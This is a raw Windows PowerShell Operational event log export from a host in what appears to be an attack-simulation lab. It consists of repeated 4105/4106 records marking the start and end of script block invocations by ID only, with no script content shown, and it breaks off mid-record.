LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027132
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027131
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027130
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027129
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027128
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027127
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027126
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027125
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027124
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027123
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027122
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027121
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027120
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027119
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027118
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027117
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027116
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027115
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027114
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027113
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027112
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027111
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027110
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027109
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027108
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027107
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027106
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027105
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027104
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027103
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027102
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027101
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027100
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027099
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027098
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027097
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027096
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027095
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027094
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027093
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027092
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027091
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027090
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027089
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027088
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027087
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027086
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027085
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027084
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027083
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027082
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027081
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027080
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
